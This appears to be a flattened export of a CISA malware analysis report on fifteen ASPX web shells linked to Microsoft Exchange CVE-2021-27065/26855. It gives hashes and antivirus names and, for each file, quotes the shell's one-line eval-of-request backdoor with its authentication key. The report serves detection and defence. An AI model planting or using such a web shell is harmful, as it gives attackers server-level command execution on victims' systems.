MAR-10365227.r3.v1 Malware Characterization //node() | //@* This document is marked TLP:WHITE--Disclosure is not limited. Sources may use TLP:WHITE when information carries minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for public release. Subject to standard copyright rules, TLP:WHITE information may be distributed without restriction. For more information on the Traffic Light Protocol (TLP), see http://www.cisa.gov/tlp. cisa 2022-09-20T14:17:04-04:00 BMachine 134 7.1.0 function Page_Load() (eval (Request["47YyATOi91Po"],"unsafe");) ---End Webshell--- The script within the file decodes and executes data using the JavaScript "eval" function. The hard-coded key, "47YyATOi91Po" is used for authentication. If successful at accessing the script, the attacker will be able to execute commands on the page with server (system) level privileges.]]> AXYD37GQ.aspx 2167 HTML document, ASCII text, with CRLF line terminators MD5 b5be2d3f0ebbb9a0925236f171c5b5e0 SHA1 1c2526572d10d3577802c15125d9c3a701c48919 SHA256 b8a06eae7d57a292dfea9000f76c6e3733b3567ef67d75b149dfd1d001ca9fb8 SHA512 3f5cd073f05c581c46973213e0aebaf3240c1336593901fc66abd3fb79ce70464d45d77629e5e88ec16a3d3fff9f4079807b41aa35401b5ba3ab63406484879c SSDEEP 24:kNrde9j3a+rJTh91QcFdyW6j0SzMaXVMr6j71idfhphE5g8RMlF62E4ONF0qDe8+:kNrdepN1BXS0HM5QZphEGs4ONF0qi 4.646463 Characterized_By Figure 1. function Page_Load() (eval (Request["gmetqypJ4TUw"],"unsafe");) ---End Webshell--- The script within the file decodes and executes data using the JavaScript "eval" function. The hard-coded key, "gmetqypJ4TUw" is used for authentication. If successful at accessing the script, the attacker will be able to execute commands on the page with server (system) level privileges.]]> vqk8w97H.aspx 2167 HTML document, ASCII text, with CRLF line terminators MD5 264b80ff5d873d630168f21892f27724 SHA1 ae0d3ca3f7bec5703f1bc554f9b57bcdda8022ba SHA256 53c7c1bf8526bb7a6d0af1fd7c7673a8138db90bb81b786f3987b9d854697f6c SHA512 7c3cee7a7151417b42eea859c8b5a5f01c9289f02a279d5874ed4ef2dfee15b9dfee012a4f1b050255883a6ce876e72db0047bb6519383d6b76e06f377c5918d SSDEEP 24:kNrde9j3a+rJTh91QcFdyW6j0SzMaHVMr6j71idfhphE5gQaqt62E4ONF0qbenf:kNrdepN1BXS0nM5QZphEZfs4ONF0qS 4.651647 Characterized_By Figure 2. function Page_Load() (eval (Request["49tWiczXqjDb"],"unsafe");) ---End Webshell--- The script within the file decodes and executes data using the JavaScript "eval" function. The hard-coded key, "49tWiczXqjDb" is used for authentication. If successful at accessing the script, the attacker will be able to execute commands on the page with server (system) level privileges.]]> PcyJLpmw.aspx 2167 HTML document, ASCII text, with CRLF line terminators MD5 d07539a27792c1a1d37dc0b7c5fa0f40 SHA1 82809edc726101e5baea2ae70bcd9cf2e20bdffa SHA256 dc21ee9606505222dbfe26d6bfc2a4dbebecf620d72fc39d298a5de519c3535f SHA512 bf9afaa2f2fe07708d17f8f5d73638e9df85301e714d7aeae302c14b17fbc3be619ac150330ee302b06bffd1d3b6fc8c1a16ebee62ed353ccf4c3ffcfa636c6c SSDEEP 24:yd53SzMaPfVMNGy1Qcz+rJdrde9j3yhm6jq6j71idfhphE5Jl+62E4ONF0qTenf:S53/gMyfrdepiz95QZphEfgs4ONF0q6 4.649797 Characterized_By Figure 3. function Page_Load() (eval (Request["OUZz8HlharTm"],"unsafe");) ---End Webshell--- The script within the file decodes and executes data using the JavaScript "eval" function. The hard-coded key, "OUZz8HlharTm" is used for authentication. If successful at accessing the script, the attacker will be able to execute commands on the page with server (system) level privileges.]]> vsaUptfA.aspx 2167 HTML document, ASCII text, with CRLF line terminators MD5 5cbd52c0a7517ddcd8a0e764131bd791 SHA1 f44cecce75f74b62a6596872b8dd86dbca2a59a8 SHA256 3918f060a7df3ef3488f4158b56cd720e1e4872f1c5a075df5870164260af650 SHA512 96a369b1d92385e1875ce64058c5875c27afdf10dc9163aa38a72a905b77202d17620f2b5ca269404d5f7f165c79b39ffff355a0834cf9d35944b28df4069230 SSDEEP 48:kNrdepN1BXS0kwM5QZphEETs4ONF0qdwY:ktde/1yEANCqdwY 4.647264 Characterized_By Figure 4. function Page_Load() (eval (Request["xncSsoZepUEz"],"unsafe");) ---End Webshell--- The script within the file decodes and executes data using the JavaScript "eval" function. The hard-coded key, "xncSsoZepUEz" is used for authentication. If successful at accessing the script, the attacker will be able to execute commands on the page with server (system) level privileges.]]> a96r741S.aspx 2167 HTML document, ASCII text, with CRLF line terminators MD5 bd01f935103002ccf3a21c9815697c24 SHA1 7517f601fc648bb731961d492b638f4d39e698fa SHA256 07208095feb011ed915a881b689d6b70c352d40e90131df2c2abc92c4b93fbd9 SHA512 a38c05fa1814cebdfea51520eabf7c133d229b7c6aadd1792e2cffcd29d733c7d590411f6881573087c1fdc82e6293e32eab7cc42fe3b7c908ca0d4ca89f527e SSDEEP 24:kNrde9j3a+rJTh91QcFdyW6j0SzMaVfVMr6j71idfhphE5gMPAF62E4ONF0qHenf:kNrdepN1BXS01M5QZphEJes4ONF0qe 4.647271 Characterized_By Figure 5. function Page_Load() (eval (Request["fYQMESigLnP1"],"unsafe");) ---End Webshell--- The script within the file decodes and executes data using the JavaScript "eval" function. The hard-coded key, "fYQMESigLnP1" is used for authentication. If successful at accessing the script, the attacker will be able to execute commands on the page with server (system) level privileges.]]> cBP0VKYG.aspx 2167 HTML document, ASCII text, with CRLF line terminators MD5 d67c8e0b4489979922c5acfff7211186 SHA1 3179101b5d8484a3cb316fb22e4e6aaa60eda94d SHA256 1435e7871e32779a81e28aa9b6fa57949439220527ed3b3fb83a1c0699f376e3 SHA512 97e068cab67cb8b597c052ef4905cffc506d97fe1069f9195dbcc882b4808088e83ac37f430f2d43096ff40a8db1e03a133a54ae2fdaf22a33bbfb393a395e57 SSDEEP 24:kNrde9j3a+rJTh91QcFdyW6j0SzMaEDVMr6j71idfhphE5gh62E4ONF0qTenf:kNrdepN1BXS0zaM5QZphEws4ONF0q6 4.643343 Characterized_By Figure 6. function Page_Load() (eval (Request["oriWapL6n5CI"],"unsafe");) ---End Webshell--- The script within the file decodes and executes data using the JavaScript "eval" function. The hard-coded key, "oriWapL6n5CI" is used for authentication. If successful at accessing the script, the attacker will be able to execute commands on the page with server (system) level privileges.]]> pRd3rIlG.aspx 2167 HTML document, ASCII text, with CRLF line terminators MD5 1c0e6e63818a2955cb368f7ae9a934da SHA1 36531b3b859b7d875260a67e7ce5b59e48d46404 SHA256 411fef05a37e286a4e48700e5155cd55672cce4c9283b448d968391267b4f866 SHA512 9e770e8216c4cd9be6d0048208c5494b3ff4e5556478f895db6140cdf94c6048004e79ded020bcb7cc2987097f8454d13748337aca5fbae430f0758ab4d6370c SSDEEP 24:kNrde9j3a+rJTh91QcFdyW6j0SzMaZVMr6j71idfhphE5g2Ze62E4ONF0qUUenf:kNrdepN1BXS0BM5QZphEYs4ONF0qI 4.64351 Characterized_By Figure 7. function Page_Load() (eval (Request["49tWiczXqjDb"],"unsafe");) ---End Webshell--- The script within the file decodes and executes data using the JavaScript "eval" function. The hard-coded key, "49tWiczXqjDb" is used for authentication. If successful at accessing the script, the attacker will be able to execute commands on the page with server (system) level privileges.]]> GLuRqYO7.aspx 2167 HTML document, ASCII text, with CRLF line terminators MD5 172e2090dcd8571d3d98e219a2e6b226 SHA1 1351bca8b60f74894d13553703597d861acd04ea SHA256 dfa9f4a054636750012e0ff56286a3c96c37062959c8ac5b2df52e349de69e65 SHA512 a2f3800665492659e44494194ce9e032cd38b16d5c9fe1f8e0c1376e3ddf43860553813271d77bfb604b53c67768f0455d3c77c7b4c1c5a16ca18e66c7356d95 SSDEEP 24:kNrde9j3a+rJTh91QcFdyW6j0SzMaPfVMr6j71idfhphE5g1l+62E4ONF0qRvenf:kNrdepN1BXS0/M5QZphE0gs4ONF0qR2 4.649797 Characterized_By Figure 8. function Page_Load() (eval (Request["eyidEfJpQboI"],"unsafe");) ---End Webshell--- The script within the file decodes and executes data using the JavaScript "eval" function. The hard-coded key, "eyidEfJpQboI" is used for authentication. If successful at accessing the script, the attacker will be able to execute commands on the page with server (system) level privileges.]]> 0GPd9cCt.aspx 2166 HTML document, ASCII text, with CRLF line terminators MD5 0f8d4a9a0f41f1b347daa3ee3da48f54 SHA1 c6ff7631c088c60a461d70b47dd85aea9fc51019 SHA256 a58c4fdb1c31100f4e9bb530af7d1ac57c715fee1c7c5e6c790e1e9cc863cfe4 SHA512 5044011ef02042255fe35a01fe7b1063d77f8a269b6e67e0d09506dc102759f1bd2fbba379d46fb4f45ee9d64c88e497e5b78e76be7e5cc1609a8bf9615aec16 SSDEEP 48:kNrdepN1BXS0ZPpM5QZphEaes4ONF0qZX:ktde/1Ea5NCqx 4.64441 Characterized_By Figure 9. function Page_Load() (eval (Request["YzVheMnJEUGo"],"unsafe");) ---End Webshell--- The script within the file decodes and executes data using the JavaScript "eval" function. The hard-coded key, "YzVheMnJEUGo" is used for authentication. If successful at accessing the script, the attacker will be able to execute commands on the page with server (system) level privileges.]]> mDweIri6.aspx 2167 HTML document, ASCII text, with CRLF line terminators MD5 981d83dc485048c3c8e4d74fb4a3eab6 SHA1 5537d6f6d321a623ebd7c785df4ada06cbe688c6 SHA256 e2caf75367ca300f616a96ff07769b1f80b69b1ae135fa27b79376a75a905b5e SHA512 60c76e13d797a13d942481237c80ab082e02f744d6cabde724a9108acac737a7ddffce4a5ef6bae30ac2367617028d703853a3ff79a5f519e7348d44849f4e9a SSDEEP 24:kNrde9j3a+rJTh91QcFdyW6j0SzMaxTQSVMr6j71idfhphE5ghI62E4ONF0qlenf:kNrdepN1BXS0geM5QZphESIs4ONF0qk 4.649818 Characterized_By Figure 10. function Page_Load() (eval (Request["H0fPTmgbRo41"],"unsafe");) ---End Webshell--- The script within the file decodes and executes data using the JavaScript "eval" function. The hard-coded key, "H0fPTmgbRo41" is used for authentication. If successful at accessing the script, the attacker will be able to execute commands on the page with server (system) level privileges.]]> ydRlt1rF.aspx 2167 HTML document, ASCII text, with CRLF line terminators MD5 9a597c67ad6cd1a448f58a2c8e5c4ca6 SHA1 7603dc2f7d940f8d27b6c36dcd8d66d5cca515ad SHA256 58a6151413f281143a9390852b017b82ff40d402cdbc8295aa58ae46c4c8424f SHA512 a62b048545eaddb6b234dc1d43a754e7550c8be6e2f8b05f85580c504796bcccacbbd7f9f48e34b1910af605fe3a29640e8efe166736623504afcacd762991c7 SSDEEP 24:kNrde9j3a+rJTh91QcFdyW6j0SzMaSVMr6j71idfhphE5gp62E4ONF0qgSnenf:kNrdepN1BXS0cM5QZphEIs4ONF0qgS+ 4.640063 Characterized_By Figure 11. function Page_Load() (eval (Request["VnDTHLB47e1O"],"unsafe");) ---End Webshell--- The script within the file decodes and executes data using the JavaScript "eval" function. The hard-coded key, "VnDTHLB47e1O" is used for authentication. If successful at accessing the script, the attacker will be able to execute commands on the page with server (system) level privileges.]]> undMk5U9.aspx 2167 HTML document, ASCII text, with CRLF line terminators MD5 674ad3430e17de5279ceae899ee2d951 SHA1 bed00a85dbb0cbf3766cb7b05d355db158190a40 SHA256 a8c656d12b10d4fae74efc4cc7e585f5569f1a9144ebf6cd56b1bfed0dd7a440 SHA512 547dbae802ff6b22406a2083db1b207844638df631a7f9339e2b9428b1685002c51261111c8d99cbf5adc2b19d4a78277193d11fc81a45c515639a89ea50f1d3 SSDEEP 24:kNrde9j3a+rJTh91QcFdyW6j0SzMahBYVMr6j71idfhphE5g7Rj62E4ONF0qdenf:kNrdepN1BXS0SM5QZphEOJs4ONF0qs 4.642646 Characterized_By Figure 12. function Page_Load() (eval (Request["JHCwI01y8hvs"],"unsafe");) ---End Webshell--- The script within the file decodes and executes data using the JavaScript "eval" function. The hard-coded key, "JHCwI01y8hvs" is used for authentication. If successful at accessing the script, the attacker will be able to execute commands on the page with server (system) level privileges.]]> nypCBAQf.aspx 2167 HTML document, ASCII text, with CRLF line terminators MD5 58b07454a038cd6bb1ca3d6ff4fa38ce SHA1 e731bc758f81f8c6021d59a9ceda37e015d9587b SHA256 1f5f5b8dd702da3628e8612d44563d8267fa160048a0da389ee821152ac658f2 SHA512 e78fe5eb06c96eb16b7272e8f9472a64ce29b40dd8f6a24e4b8d6074a1674ae0399b2775e5e8314b8d9fc15dae84fd3a20c492f1bd55c68d78acc332f24ac0bd SSDEEP 24:kNrde9j3a+rJTh91QcFdyW6j0SzMaGVMr6j71idfhphE5gHUi62E4ONF0qhVenf:kNrdepN1BXS0QM5QZphE4Vs4ONF0qh0 4.655976 Characterized_By Figure 13. function Page_Load() (eval (Request["gmetqypJ4TUw"],"unsafe");) ---End Webshell--- The script within the file decodes and executes data using the JavaScript "eval" function. The hard-coded key, "gmetqypJ4TUw" is used for authentication. If successful at accessing the script, the attacker will be able to execute commands on the page with server (system) level privileges.]]> ZyphzweO.aspx 2167 HTML document, ASCII text, with CRLF line terminators MD5 e591908bd81d43464696dde547d45003 SHA1 a3bcf1bb8ed3073a0c9e6c5a87ad0aeab4001240 SHA256 1e05b263cfea600f727614e58646a2ff6a4c89a4499e2410f23bf40c718a94d3 SHA512 0fd37f12f880d5c5b8d2d32bbbc9ebcbb938a0cb81f942efd92ef328c2e6fa1647bf52c363469a3224d28adba65f6e1ccb47714be519933d7a9ca7304af5a597 SSDEEP 24:ydxSzMaHVMNGs+rJdrde9j3yh91Qcu6jq6j71idfhphE5kaqt62E4ONF0qpenf:SxngffrdepiBJ95QZphEyfs4ONF0qI 4.651647 Characterized_By Figure 14. function Page_Load() (eval (Request["21t3o5Rah6JI"],"unsafe");) ---End Webshell--- The script within the file decodes and executes data using the JavaScript "eval" function. The hard-coded key, "21t3o5Rah6JI" is used for authentication. If successful at accessing the script, the attacker will be able to execute commands on the page with server (system) level privileges.]]> vyBcbDLQ.aspx 2167 HTML document, ASCII text, with CRLF line terminators MD5 62281d112d8a17b49c2dc87bf2167b9f SHA1 dc10dd5a896e0e343b8a8bf117beca4327b3c4ab SHA256 e5451de048d7b9d6d8e699da7a10c38079eda4e6328580a8ba259a22eeaaa71d SHA512 8dffc394bda02c2978d63b8c128efed7ed1b5e166a6bce93b6fac364fdd4dc49854602ab7ee22069598dc66b35844b3663e859a570328607eb19df80263c72f3 SSDEEP 24:kNrde9j3a+rJTh91QcFdyW6j0SzMaBmVMr6j71idfhphE5gIU0+62E4ONF0qVenf:kNrdepN1BXS0udM5QZphEQ0+s4ONF0q0 4.643858 Characterized_By Figure 15. CISA_Consolidated.yara: CISA_10328929_02 Malware Artifacts MD5 b5be2d3f0ebbb9a0925236f171c5b5e0 SHA1 1c2526572d10d3577802c15125d9c3a701c48919 SHA256 b8a06eae7d57a292dfea9000f76c6e3733b3567ef67d75b149dfd1d001ca9fb8 NCCIC http://plusvic.github.io/yara/ NCCIC 2022-09-21T13:52:30+00:00 CISA_Consolidated.yara: CISA_10328929_02 Malware Artifacts MD5 264b80ff5d873d630168f21892f27724 SHA1 ae0d3ca3f7bec5703f1bc554f9b57bcdda8022ba SHA256 53c7c1bf8526bb7a6d0af1fd7c7673a8138db90bb81b786f3987b9d854697f6c NCCIC http://plusvic.github.io/yara/ NCCIC 2022-09-21T13:52:31+00:00 CISA_Consolidated.yara: CISA_10328929_02 Malware Artifacts MD5 d07539a27792c1a1d37dc0b7c5fa0f40 SHA1 82809edc726101e5baea2ae70bcd9cf2e20bdffa SHA256 dc21ee9606505222dbfe26d6bfc2a4dbebecf620d72fc39d298a5de519c3535f NCCIC http://plusvic.github.io/yara/ NCCIC 2022-09-21T13:52:31+00:00 CISA_Consolidated.yara: CISA_10328929_02 Malware Artifacts MD5 5cbd52c0a7517ddcd8a0e764131bd791 SHA1 f44cecce75f74b62a6596872b8dd86dbca2a59a8 SHA256 3918f060a7df3ef3488f4158b56cd720e1e4872f1c5a075df5870164260af650 NCCIC http://plusvic.github.io/yara/ NCCIC 2022-09-21T13:52:31+00:00 CISA_Consolidated.yara: CISA_10328929_02 Malware Artifacts MD5 bd01f935103002ccf3a21c9815697c24 SHA1 7517f601fc648bb731961d492b638f4d39e698fa SHA256 07208095feb011ed915a881b689d6b70c352d40e90131df2c2abc92c4b93fbd9 NCCIC http://plusvic.github.io/yara/ NCCIC 2022-09-21T13:52:31+00:00 CISA_Consolidated.yara: CISA_10328929_02 Malware Artifacts MD5 d67c8e0b4489979922c5acfff7211186 SHA1 3179101b5d8484a3cb316fb22e4e6aaa60eda94d SHA256 1435e7871e32779a81e28aa9b6fa57949439220527ed3b3fb83a1c0699f376e3 NCCIC http://plusvic.github.io/yara/ NCCIC 2022-09-21T13:52:31+00:00 CISA_Consolidated.yara: CISA_10328929_02 Malware Artifacts MD5 1c0e6e63818a2955cb368f7ae9a934da SHA1 36531b3b859b7d875260a67e7ce5b59e48d46404 SHA256 411fef05a37e286a4e48700e5155cd55672cce4c9283b448d968391267b4f866 NCCIC http://plusvic.github.io/yara/ NCCIC 2022-09-21T13:52:32+00:00 CISA_Consolidated.yara: CISA_10328929_02 Malware Artifacts MD5 172e2090dcd8571d3d98e219a2e6b226 SHA1 1351bca8b60f74894d13553703597d861acd04ea SHA256 dfa9f4a054636750012e0ff56286a3c96c37062959c8ac5b2df52e349de69e65 NCCIC http://plusvic.github.io/yara/ NCCIC 2022-09-21T13:52:32+00:00 CISA_Consolidated.yara: CISA_10328929_02 Malware Artifacts MD5 0f8d4a9a0f41f1b347daa3ee3da48f54 SHA1 c6ff7631c088c60a461d70b47dd85aea9fc51019 SHA256 a58c4fdb1c31100f4e9bb530af7d1ac57c715fee1c7c5e6c790e1e9cc863cfe4 NCCIC http://plusvic.github.io/yara/ NCCIC 2022-09-21T13:52:32+00:00 CISA_Consolidated.yara: CISA_10328929_02 Malware Artifacts MD5 981d83dc485048c3c8e4d74fb4a3eab6 SHA1 5537d6f6d321a623ebd7c785df4ada06cbe688c6 SHA256 e2caf75367ca300f616a96ff07769b1f80b69b1ae135fa27b79376a75a905b5e NCCIC http://plusvic.github.io/yara/ NCCIC 2022-09-21T13:52:32+00:00 CISA_Consolidated.yara: CISA_10328929_02 Malware Artifacts MD5 9a597c67ad6cd1a448f58a2c8e5c4ca6 SHA1 7603dc2f7d940f8d27b6c36dcd8d66d5cca515ad SHA256 58a6151413f281143a9390852b017b82ff40d402cdbc8295aa58ae46c4c8424f NCCIC http://plusvic.github.io/yara/ NCCIC 2022-09-21T13:52:32+00:00 CISA_Consolidated.yara: CISA_10328929_02 Malware Artifacts MD5 674ad3430e17de5279ceae899ee2d951 SHA1 bed00a85dbb0cbf3766cb7b05d355db158190a40 SHA256 a8c656d12b10d4fae74efc4cc7e585f5569f1a9144ebf6cd56b1bfed0dd7a440 NCCIC http://plusvic.github.io/yara/ NCCIC 2022-09-21T13:52:33+00:00 CISA_Consolidated.yara: CISA_10328929_02 Malware Artifacts MD5 58b07454a038cd6bb1ca3d6ff4fa38ce SHA1 e731bc758f81f8c6021d59a9ceda37e015d9587b SHA256 1f5f5b8dd702da3628e8612d44563d8267fa160048a0da389ee821152ac658f2 NCCIC http://plusvic.github.io/yara/ NCCIC 2022-09-21T13:52:33+00:00 CISA_Consolidated.yara: CISA_10328929_02 Malware Artifacts MD5 e591908bd81d43464696dde547d45003 SHA1 a3bcf1bb8ed3073a0c9e6c5a87ad0aeab4001240 SHA256 1e05b263cfea600f727614e58646a2ff6a4c89a4499e2410f23bf40c718a94d3 NCCIC http://plusvic.github.io/yara/ NCCIC 2022-09-21T13:52:33+00:00 CISA_Consolidated.yara: CISA_10328929_02 Malware Artifacts MD5 62281d112d8a17b49c2dc87bf2167b9f SHA1 dc10dd5a896e0e343b8a8bf117beca4327b3c4ab SHA256 e5451de048d7b9d6d8e699da7a10c38079eda4e6328580a8ba259a22eeaaa71d NCCIC http://plusvic.github.io/yara/ NCCIC 2022-09-21T13:52:33+00:00 MAEC Characterization of b5be2d3f0ebbb9a0925236f171c5b5e0 ClamAV Asp.Trojan.Webshell0321-9840176-0 Bitdefender Generic.ASP.WebShell.H.A8133255 McAfee Exploit-CVE2021-27065.a IKARUS Exploit.ASP.CVE-2021-27065 Cyren ASP/CVE-2021-27065.A.gen!Camelot Symantec Trojan.Chinchop Trend Micro HouseCall Backdoo.43A0A8D2 Sophos Troj/WebShel-L Emsisoft Generic.ASP.WebShell.H.A8133255 (B) Trend Micro Backdoo.43A0A8D2 Avira EXP/CVE-2021-27065.1 NANOAV Exploit.Script.CVE-2021-26855.iwqhlf Lavasoft Generic.ASP.WebShell.H.A8133255 Quick Heal CVE-2021-26855.Webshll.41350 trojan webshell MAEC Characterization of 264b80ff5d873d630168f21892f27724 Quick Heal CVE-2021-26855.Webshll.41350 ClamAV Asp.Trojan.Webshell0321-9840176-0 Bitdefender Generic.ASP.WebShell.H.46E1E12C McAfee Exploit-CVE2021-27065.a IKARUS Exploit.ASP.CVE-2021-27065 Cyren ASP/CVE-2021-27065.A.gen!Camelot Symantec Trojan.Chinchop Trend Micro HouseCall Backdoo.43A0A8D2 Sophos Troj/WebShel-L Emsisoft Generic.ASP.WebShell.H.46E1E12C (B) Trend Micro Backdoo.43A0A8D2 Avira EXP/CVE-2021-27065.1 NANOAV Exploit.Script.CVE-2021-26855.iwqhlf Lavasoft Generic.ASP.WebShell.H.46E1E12C MAEC Characterization of d07539a27792c1a1d37dc0b7c5fa0f40 ClamAV Asp.Trojan.Webshell0321-9840176-0 Bitdefender Generic.ASP.WebShell.H.9109FA0F McAfee Exploit-CVE2021-27065.d Symantec Trojan.Chinchop Trend Micro HouseCall Backdoo.43A0A8D2 Sophos Troj/WebShel-L Emsisoft Generic.ASP.WebShell.H.9109FA0F (B) Trend Micro Backdoo.43A0A8D2 Avira EXP/CVE-2021-27065.1 ESET ASP/Webshell.DI trojan NANOAV Exploit.Script.CVE-2021-26855.iwqhlf Lavasoft Generic.ASP.WebShell.H.9109FA0F Quick Heal CVE-2021-26855.Webshll.41350 MAEC Characterization of 5cbd52c0a7517ddcd8a0e764131bd791 ClamAV Asp.Trojan.Webshell0321-9840176-0 Bitdefender Generic.ASP.WebShell.H.6D98F430 McAfee Exploit-CVE2021-27065.a IKARUS Exploit.ASP.CVE-2021-27065 Cyren ASP/CVE-2021-27065.A.gen!Camelot Symantec Trojan.Chinchop Trend Micro HouseCall Backdoo.43A0A8D2 Sophos Troj/WebShel-L Emsisoft Generic.ASP.WebShell.H.6D98F430 (B) Trend Micro Backdoo.43A0A8D2 Avira EXP/CVE-2021-27065.1 NANOAV Exploit.Script.CVE-2021-26855.iwqhlf Lavasoft Generic.ASP.WebShell.H.6D98F430 Quick Heal CVE-2021-26855.Webshll.41350 MAEC Characterization of bd01f935103002ccf3a21c9815697c24 ClamAV Asp.Trojan.Webshell0321-9840176-0 Bitdefender Generic.ASP.WebShell.H.CCB2735F McAfee Exploit-CVE2021-27065.a IKARUS Exploit.ASP.CVE-2021-27065 Cyren ASP/CVE-2021-27065.A.gen!Camelot Symantec Trojan.Chinchop Trend Micro HouseCall Backdoo.43A0A8D2 Sophos Troj/WebShel-L Emsisoft Generic.ASP.WebShell.H.CCB2735F (B) Trend Micro Backdoo.43A0A8D2 Avira EXP/CVE-2021-27065.1 NANOAV Exploit.Script.CVE-2021-26855.iwqhlf Lavasoft Generic.ASP.WebShell.H.CCB2735F Quick Heal CVE-2021-26855.Webshll.41350 MAEC Characterization of d67c8e0b4489979922c5acfff7211186 ClamAV Asp.Trojan.Webshell0321-9840176-0 Bitdefender Generic.ASP.WebShell.H.E4D70A09 McAfee Exploit-CVE2021-27065.a IKARUS Exploit.ASP.CVE-2021-27065 Cyren ASP/CVE-2021-27065.A.gen!Camelot Symantec Trojan.Chinchop Trend Micro HouseCall Backdoo.43A0A8D2 Sophos Troj/WebShel-L Emsisoft Generic.ASP.WebShell.H.E4D70A09 (B) Trend Micro Backdoo.43A0A8D2 Avira EXP/CVE-2021-27065.1 NANOAV Exploit.Script.CVE-2021-26855.iwqhlf Lavasoft Generic.ASP.WebShell.H.E4D70A09 Quick Heal CVE-2021-26855.Webshll.41350 MAEC Characterization of 1c0e6e63818a2955cb368f7ae9a934da ClamAV Asp.Trojan.Webshell0321-9840176-0 Bitdefender Generic.ASP.WebShell.H.2B8EEBDE McAfee Exploit-CVE2021-27065.a IKARUS Exploit.ASP.CVE-2021-27065 Cyren ASP/CVE-2021-27065.A.gen!Camelot Symantec Trojan.Chinchop Trend Micro HouseCall Backdoo.43A0A8D2 Sophos Troj/WebShel-L Emsisoft Generic.ASP.WebShell.H.2B8EEBDE (B) Trend Micro Backdoo.43A0A8D2 Avira EXP/CVE-2021-27065.1 NANOAV Exploit.Script.CVE-2021-26855.iwqhlf Lavasoft Generic.ASP.WebShell.H.2B8EEBDE Quick Heal CVE-2021-26855.Webshll.41350 MAEC Characterization of 172e2090dcd8571d3d98e219a2e6b226 ClamAV Asp.Trojan.Webshell0321-9840176-0 Bitdefender Generic.ASP.WebShell.H.FF1FE8E9 McAfee Exploit-CVE2021-27065.a IKARUS Exploit.ASP.CVE-2021-27065 Cyren ASP/CVE-2021-27065.A.gen!Camelot Symantec Trojan.Chinchop Trend Micro HouseCall Backdoo.43A0A8D2 Sophos Troj/WebShel-L Emsisoft Generic.ASP.WebShell.H.FF1FE8E9 (B) Trend Micro Backdoo.43A0A8D2 Avira EXP/CVE-2021-27065.1 NANOAV Exploit.Script.CVE-2021-26855.iwqhlf Lavasoft Generic.ASP.WebShell.H.FF1FE8E9 Quick Heal CVE-2021-26855.Webshll.41350 MAEC Characterization of 0f8d4a9a0f41f1b347daa3ee3da48f54 ClamAV Asp.Trojan.Webshell0321-9840176-0 Bitdefender Generic.ASP.WebShell.H.0D1ED0A3 McAfee Exploit-CVE2021-27065.a IKARUS Exploit.ASP.CVE-2021-27065 Cyren ASP/CVE-2021-27065.A.gen!Camelot Symantec Trojan.Chinchop Trend Micro HouseCall Backdoo.43A0A8D2 Sophos Troj/WebShel-L Emsisoft Generic.ASP.WebShell.H.0D1ED0A3 (B) Trend Micro Backdoo.43A0A8D2 Avira EXP/CVE-2021-27065.1 NANOAV Exploit.Script.CVE-2021-26855.iwqhlf Lavasoft Generic.ASP.WebShell.H.0D1ED0A3 Quick Heal CVE-2021-26855.Webshll.41350 MAEC Characterization of 981d83dc485048c3c8e4d74fb4a3eab6 ClamAV Asp.Trojan.Webshell0321-9840176-0 Bitdefender Generic.ASP.WebShell.H.D98EFB85 McAfee Exploit-CVE2021-27065.a IKARUS Exploit.ASP.CVE-2021-27065 Cyren ASP/CVE-2021-27065.A.gen!Camelot Symantec Trojan.Chinchop Trend Micro HouseCall Backdoo.43A0A8D2 Sophos Troj/WebShel-L Emsisoft Generic.ASP.WebShell.H.D98EFB85 (B) Trend Micro Backdoo.43A0A8D2 Avira EXP/CVE-2021-27065.1 NANOAV Exploit.Script.CVE-2021-26855.iwqhlf Lavasoft Generic.ASP.WebShell.H.D98EFB85 Quick Heal CVE-2021-26855.Webshll.41350 MAEC Characterization of 9a597c67ad6cd1a448f58a2c8e5c4ca6 ClamAV Asp.Trojan.Webshell0321-9840176-0 Bitdefender Generic.ASP.WebShell.H.C4E75356 McAfee Exploit-CVE2021-27065.a IKARUS Exploit.ASP.CVE-2021-27065 Cyren ASP/CVE-2021-27065.A.gen!Camelot Symantec Trojan.Chinchop Trend Micro HouseCall Backdoo.43A0A8D2 Sophos Troj/WebShel-L Emsisoft Generic.ASP.WebShell.H.C4E75356 (B) Trend Micro Backdoo.43A0A8D2 Avira EXP/CVE-2021-27065.1 NANOAV Exploit.Script.CVE-2021-26855.iwqhlf Lavasoft Generic.ASP.WebShell.H.C4E75356 Quick Heal CVE-2021-26855.Webshll.41350 MAEC Characterization of 674ad3430e17de5279ceae899ee2d951 ClamAV Asp.Trojan.Webshell0321-9840176-0 Bitdefender Generic.ASP.WebShell.H.6DFD588B McAfee Exploit-CVE2021-27065.a IKARUS Exploit.ASP.CVE-2021-27065 Cyren ASP/CVE-2021-27065.A.gen!Camelot Symantec Trojan.Chinchop Trend Micro HouseCall Backdoo.43A0A8D2 Sophos Troj/WebShel-L Emsisoft Generic.ASP.WebShell.H.6DFD588B (B) Trend Micro Backdoo.43A0A8D2 Avira EXP/CVE-2021-27065.1 NANOAV Exploit.Script.CVE-2021-26855.iwqhlf Lavasoft Generic.ASP.WebShell.H.6DFD588B Quick Heal CVE-2021-26855.Webshll.41350 MAEC Characterization of 58b07454a038cd6bb1ca3d6ff4fa38ce ClamAV Asp.Trojan.Webshell0321-9840176-0 Bitdefender Generic.ASP.WebShell.H.3CB2ACFE McAfee Exploit-CVE2021-27065.a IKARUS Exploit.ASP.CVE-2021-27065 Cyren ASP/CVE-2021-27065.A.gen!Camelot Symantec Trojan.Chinchop Trend Micro HouseCall Backdoo.43A0A8D2 Sophos Troj/WebShel-L Emsisoft Generic.ASP.WebShell.H.3CB2ACFE (B) Trend Micro Backdoo.43A0A8D2 Avira EXP/CVE-2021-27065.1 NANOAV Exploit.Script.CVE-2021-26855.iwqhlf Lavasoft Generic.ASP.WebShell.H.3CB2ACFE Quick Heal CVE-2021-26855.Webshll.41350 MAEC Characterization of e591908bd81d43464696dde547d45003 ClamAV Asp.Trojan.Webshell0321-9840176-0 Bitdefender Generic.ASP.WebShell.H.35BB5C94 McAfee Exploit-CVE2021-27065.d Symantec Trojan.Chinchop Trend Micro HouseCall Backdoo.43A0A8D2 Sophos Troj/WebShel-L Emsisoft Generic.ASP.WebShell.H.35BB5C94 (B) Trend Micro Backdoo.43A0A8D2 Avira EXP/CVE-2021-27065.1 ESET ASP/Webshell.DI trojan NANOAV Exploit.Script.CVE-2021-26855.iwqhlf Lavasoft Generic.ASP.WebShell.H.35BB5C94 Quick Heal CVE-2021-26855.Webshll.41350 MAEC Characterization of 62281d112d8a17b49c2dc87bf2167b9f ClamAV 